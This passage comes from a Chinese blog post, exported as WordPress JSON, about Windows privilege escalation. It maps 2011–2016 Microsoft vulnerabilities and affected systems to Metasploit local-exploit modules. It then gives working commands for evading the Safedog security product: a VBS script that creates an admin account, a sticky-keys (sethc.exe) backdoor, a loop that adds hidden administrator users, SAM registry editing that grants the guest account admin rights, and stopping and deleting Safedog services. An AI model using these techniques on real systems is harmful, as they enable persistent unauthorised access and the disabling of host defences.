                                                                  5. 2011\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                                  \n \n \n \n 
                                                                    \n  \n  \n  \n  
                                                                  1. \uff081\uff09KB2393802|MS11-011 <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                  2. Winxp32-64-SP3\u3001Win2003-32-64-SP2\u3001Win7-32-64-SP1\u3001 Win2008-R2-64-SP2 <\/span><\/li>\n  \n  \n  \n  
                                                                  3. \uff082\uff09KB2478960|MS11-014 <\/span><\/li>\n  \n  \n  \n  
                                                                  4. Winxp32-64-SP3\u3001Win2003-32-64-SP2 <\/span><\/li>\n  \n  \n  \n  
                                                                  5. \uff083\uff09KB2507938|MS11-056 <\/span><\/li>\n  \n  \n  \n  
                                                                  6. Winxp32-64-SP3\u3001Win2003-32-64-SP2\u3001Win7-32-64-SP1\u3001 Win2008-R2-64-SP2 <\/span><\/li>\n  \n  \n  \n  
                                                                  7. \uff084\uff09KB2566454|MS11-062 <\/span><\/li>\n  \n  \n  \n  
                                                                  8. Winxp32-64-SP3\u3001Win2003-32-64-SP2 <\/span><\/li>\n  \n  \n  \n  
                                                                  9. \uff085\uff09KB2620712|MS11-097 <\/span><\/li>\n  \n  \n  \n  
                                                                  10. Winxp-SP3\u3001Win2003-SP2\u3001Win7-64-SP1\u3001 Win2008R2-64-SP1 <\/span><\/li>\n  \n  \n  \n  
                                                                  11. \uff086\uff09KB2503665|MS11-046 <\/span><\/li>\n  \n  \n  \n  
                                                                  12. Winxp-SP3\u3001Win2003-SP2\u3001Win7-64-SP1\u3001 Win2008R2-64-SP1 <\/span><\/li>\n  \n  \n  \n  
                                                                  13. \uff087\uff09KB2592799|MS11-080 <\/span><\/li>\n  \n  \n  \n  
                                                                  14. Winxp-SP3\u3001Win2003-SP2 <\/span><\/li>\n  \n  \n  \n  
                                                                  15. exploit\/windows\/local\/ms11_080_afdjoinleaf <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                    6. 2012\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                                    \n \n \n \n 
                                                                      \n  \n  \n  \n  
                                                                    1. \uff081\uff09KB2711167| KB2707511|KB2709715|MS12-042  sysret \u2013pid <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                    2. Winxp-SP3\u3001Win2003-SP2\u3001Win7-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-32-64\u3001Win2012 <\/span><\/li>\n  \n  \n  \n  
                                                                    3. \uff082\uff09KB2621440|MS12-020 Winxp-SP3\u3001Win2003-SP2\u3001Win7-64-SP1\u3001 Win2008R2-64-SP1\u3001 <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                      7. 2013\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                                      \n \n \n \n 
                                                                        \n  \n  \n  \n  
                                                                      1. \uff081\uff09KB2778930|MS13-005 Vista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-32-64\u3001Win2012 <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                      2. exploit\/windows\/local\/ms13_005_hwnd_broadcast <\/span><\/li>\n  \n  \n  \n  
                                                                      3. \uff082\uff09KB2840221|MS13-046 WinXP-32-SP3\u3001WinXP-64-SP2\u3001Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-R2-32-64-SP2\u3001Win7-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                      4. \uff083\uff09KB2850851|MS13-053 EPATHOBJ 0day\uff0cWinXP-32-SP3\u3001WinXP-64-SP2\u3001Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-R2-32-64-SP2\u3001Win7-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-32-64\u3001Win2012 <\/span><\/li>\n  \n  \n  \n  
                                                                      5. exploit\/windows\/local\/ms13_053_schlamperei <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                        8. 2014\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                                        \n \n \n \n 
                                                                          \n  \n  \n  \n  
                                                                        1. \uff081\uff09KB 2914368 |MS14-002 WinXPSP3\u3001WinXP-64-SP2\u3001Win2003-32-64-sp2 <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                        2. exploit\/windows\/local\/ms_ndproxy <\/span><\/li>\n  \n  \n  \n  
                                                                        3. \uff082\uff09KB 2916607|MS14-009 Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-R2-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                        4. exploit\/windows\/local\/ms14_009_ie_dfsvc <\/span><\/li>\n  \n  \n  \n  
                                                                        5. \uff083\uff09KB3000061|MS14-058 Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-R2-32-64-SP2\u3001Win7-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                        6. exploit\/windows\/local\/ms14_058_track_popup_menu <\/span><\/li>\n  \n  \n  \n  
                                                                        7. \uff084\uff09KB 2989935|MS14-070 Win2003-32-64-SP2 <\/span><\/li>\n  \n  \n  \n  
                                                                        8. exploit\/windows\/local\/ms14_070_tcpip_ioctl <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                          9. 2015\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                                          \n \n \n \n 
                                                                            \n  \n  \n  \n  
                                                                          1. \uff081\uff09KB3023266|MS15-001 Win7-32-64-SP1\u3001Win2008R2-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                          2. exploit\/windows\/local\/ntapphelpcachecontrol <\/span><\/li>\n  \n  \n  \n  
                                                                          3. \uff082\uff09KB3025421|MS15_004\u3001Win7-32-64-SP1\u3001Win2008R2-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                          4. exploit\/windows\/local\/ms15_004_tswbproxy <\/span><\/li>\n  \n  \n  \n  
                                                                          5. \uff083\uff09KB3041836|MS15-020\u3001Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-R2-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                          6. exploit\/windows\/smb\/ms15_020_shortcut_icon_dllloader <\/span><\/li>\n  \n  \n  \n  
                                                                          7. \uff084\uff09KB3057191|MS15-051 <\/span><\/li>\n  \n  \n  \n  
                                                                          8. Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-R2-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                          9. exploit\/windows\/local\/ms15_051_client_copy_image <\/span><\/li>\n  \n  \n  \n  
                                                                          10. \uff085\uff09KB3077657|MS15-077 <\/span><\/li>\n  \n  \n  \n  
                                                                          11. Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-R2-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                          12. \uff086\uff09KB 3079904|MS15_078 <\/span><\/li>\n  \n  \n  \n  
                                                                          13. Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-R2-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                          14. exploit\/windows\/local\/ms15_078_atmfd_bof <\/span><\/li>\n  \n  \n  \n  
                                                                          15. \uff087\uff09KB3079904|MS15-097 <\/span><\/li>\n  \n  \n  \n  
                                                                          16. Win2003-32-64-SP2\u3001Vista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-R2-32-64-SP1\u3001 Win2008R2-64-SP1\u3001Win8-8.1-32-64\u3001Win2012\u3001Win2012R2 <\/span><\/li>\n  \n  \n  \n  
                                                                          17. exploit\/windows\/smb\/ms15_020_shortcut_icon_dllloader <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                            10. 2016\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                                            \n \n \n \n 
                                                                              \n  \n  \n  \n  
                                                                            1. \uff081\uff09KB3134228|MS16-014 Win2008\u3001Win7\u3001Win2012 <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                            2. \uff082\uff09KB3124280|MS16-016 WebDAV\u63d0\u6743\u6f0f\u6d1e\uff0cVista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-32-64-SP1\u3001Win2008R2-64-SP1\u3001Win8.1-32-64\u3001Win2012\u3001Win2012R2\u3001Win10-32-64 <\/span><\/li>\n  \n  \n  \n  
                                                                            3. exploit\/windows\/local\/ms16_016_webdav <\/span><\/li>\n  \n  \n  \n  
                                                                            4. \uff083\uff09KB3139914|MS16-032\u3001Vista-32-64-SP2\u3001Win2008-32-64-SP2\u3001Win7-32-64-SP1\u3001Win2008R2-64-SP1\u3001Win8.1-32-64\u3001Win2012\u3001Win2012R2\u3001Win10-32-64 <\/span><\/li>\n  \n  \n  \n  
                                                                            5. exploit\/windows\/local\/ms16_032_secondary_logon_handle_privesc <\/span><\/li>\n  \n  \n  \n  
                                                                            6. Windows 2003 SP2 \u5b89\u88c5\u4e86MS10-046\u8865\u4e01\uff0c\u53ef\u7528ms15_020\u8fdb\u884c\u6ea2\u51fa <\/span><\/li>\n  \n  \n  \n  
                                                                            7. Windows 2008 SP2 (32 bits)\u5b89\u88c5\u4e86MS14-027\u8865\u4e01\u53ef\u7528ms15_020\u8fdb\u884c\u6ea2\u51fa <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                              \u4e03\u3001\u8fc7\u5b89\u5168\u72d7<\/strong><\/p>\n
                                                                              1. vbs\u6cd5<\/p>\n
                                                                              \u5c06\u4ee5\u4e0b\u4ee3\u7801\u4fdd\u5b58\u4e3a1.vbs\u7136\u540e\u6267\u884ccscript 1.vbs<\/p>\n
                                                                              \n \n \n \n 
                                                                                \n  \n  \n  \n  
                                                                              1. Set <\/span>o<\/span>=<\/span>CreateObject<\/span>( \"Shell.Users\" ) <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                              2. Set z<\/span>=<\/span>o<\/span>.create(\"user\") <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                              3. z.changePassword \"1qaz2WSX12\",\"\" <\/span><\/li>\n  \n  \n  \n  
                                                                              4. z.setting(\"AccountType\")=3 <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                                2. shift\u540e\u95e8\u6cd5<\/p>\n
                                                                                \n \n \n \n 
                                                                                  \n  \n  \n  \n  
                                                                                1. copy C:\\sethc.exe C:\\windows\\system32\\sethc.exe  <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                                2. copy C:\\windows\\system32\\sethc.exe C:\\windows\\system32\\dllcache\\sethc.exe <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                                  3. for\u5faa\u73af\u6dfb\u52a0\u5e10\u53f7\u6cd5<\/p>\n
                                                                                  \n \n \n \n 
                                                                                    \n  \n  \n  \n  
                                                                                  1. for \/l %%i in (1,1,100) do @net user temp asphxg \/add&@net localgroup administrators temp \/add <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                                    4. \u4fee\u6539\u6ce8\u518c\u8868\u6cd5<\/p>\n
                                                                                    administrator\u5bf9\u5e94\u503c\u662f1F4,GUEST\u662f1F5\u3002<\/p>\n
                                                                                    (1)\u4f7f\u7528net1 user guset 1 ,\u5c06guest\u5bc6\u7801\u91cd\u7f6e\u4e3a1\uff0c\u65e0\u9700\u8fc7\u95ee\u662fguest\u5426\u7981\u7528<\/p>\n
                                                                                    (2)\u6267\u884c\uff1areg export \"HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\000001F4\" \"C:\\RECYCLER\\1.reg\"<\/p>\n
                                                                                    \u5bfc\u51faadministrator\u7684\u6ce8\u518c\u8868\u503c\u5230\u67d0\u8def\u5f84,\u4fee\u6539\u5185\u5bb9\uff0c\u5c06\"V\"\u503c\u5220\u9664\uff0c\u53ea\u7559F\u503c,\u5c061F4\u4fee\u6539\u4e3a1F5,\u4fdd\u5b58\u3002<\/p>\n
                                                                                    (3)\u6267\u884cregedit \/s C:\\RECYCLER\\1.reg \u5bfc\u5165\u6ce8\u518c\u8868<\/p>\n
                                                                                    \u5c31\u53ef\u4ee5\u4f7f\u7528\uff0cguest \u5bc6\u78011\u767b\u9646\u4e86\u3002<\/p>\n
                                                                                    5. \u76f4\u63a5\u4fee\u6539\u7ba1\u7406\u5458\u5bc6\u7801\u6cd5\uff0c\u5c3d\u91cf\u4e0d\u7528\u8fd9\u62db\uff0c\u5b9e\u5728\u6ca1\u6709\u529e\u6cd5\u5c31\u7528\u8fd9\u4e2a\u3002<\/p>\n
                                                                                    \n \n \n \n 
                                                                                      \n  \n  \n  \n  
                                                                                    1. net user administrator somepwd <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                                      6. \u5220\u9664\u4e0e\u505c\u6b62\u5b89\u5168\u72d7\u76f8\u5173\u670d\u52a1\u6cd5<\/p>\n
                                                                                      \u5982\u679c\u662fsystem\u6743\u9650\u53ef\u4ee5\u91c7\u53d6\u4ee5\u4e0b\u65b9\u6cd5\u505c\u6b62\u5b89\u5168\u72d7<\/p>\n
                                                                                      (1)\u505c\u6b62\u5b89\u5168\u72d7\u76f8\u5173\u670d\u52a1<\/p>\n
                                                                                      \n \n \n \n 
                                                                                        \n  \n  \n  \n  
                                                                                      1. net stop    \"Safedog Guard Center\"  \/y <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                                      2. net stop    \"Safedog Update Center\" \/y <\/span><\/li>\n  \n  \n  \n  
                                                                                      3. net stop    \"SafeDogCloudHelper\"  \/y <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                                        (2)\u76f4\u63a5\u5220\u9664SafeDogGuardCenter\u670d\u52a1<\/p>\n
                                                                                        \n \n \n \n 
                                                                                          \n  \n  \n  \n  
                                                                                        1. sc stop \"SafeDogGuardCenter\"  <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                                        2. sc config \"SafeDogGuardCenter\" start<\/span>= <\/span>disabled<\/span>  <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                                        3. sc delete \"SafeDogGuardCenter\" <\/span><\/li>\n  \n  \n  \n  
                                                                                        4.  <\/span><\/li>\n  \n  \n  \n  
                                                                                        5. sc stop \" SafeDogUpdateCenter\"  <\/span><\/li>\n  \n  \n  \n  
                                                                                        6. sc config \" SafeDogUpdateCenter\" start<\/span>= <\/span>disabled<\/span>  <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                                        7. sc delete \" SafeDogUpdateCenter\" <\/span><\/li>\n  \n  \n  \n  
                                                                                        8.  <\/span><\/li>\n  \n  \n  \n  
                                                                                        9. sc stop \" SafeDogCloudHelper\"  <\/span><\/li>\n  \n  \n  \n  
                                                                                        10. sc config \" SafeDogCloudHelper\" start<\/span>= <\/span>disabled<\/span>  <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                                        11. sc delete \" SafeDogCloudHelper\" <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                                          \u3010\u539f\u521b\u7a3f\u4ef6\uff0c\u5408\u4f5c\u7ad9\u70b9\u8f6c\u8f7d\u8bf7\u6ce8\u660e\u539f\u6587\u4f5c\u8005\u548c\u51fa\u5904\u4e3a.com\u3011<\/p>\n","protected":false},"excerpt":{"rendered":"
                                                                                          \u3010\u3011\u5728\u6e17\u900f\u8fc7\u7a0b\u4e2d\u5f88\u591a\u4eba\u90fd\u8ba4\u4e3aWindows\u63d0\u6743\u5f88\u96be\uff0c\u5176\u6838\u5fc3\u662f\u638c\u63e1\u7684\u57fa\u7840\u4e0d\u591f\u624e\u5b9e\uff0c\u5f53\u7136\u9664\u4e86\u6781\u4e3a\u53d8\u6001\u7684\u6743\u9650\u8bbe\u7f6e\u7684\u670d […]<\/p>\n","protected":false},"author":1,"featured_media":283367,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[202645],"tags":[],"class_list":["post-283366","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-202645"],"_links":{"self":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts\/283366","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/comments?post=283366"}],"version-history":[{"count":0,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts\/283366\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/media\/283367"}],"wp:attachment":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/media?parent=283366"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/categories?post=283366"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/tags?post=283366"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}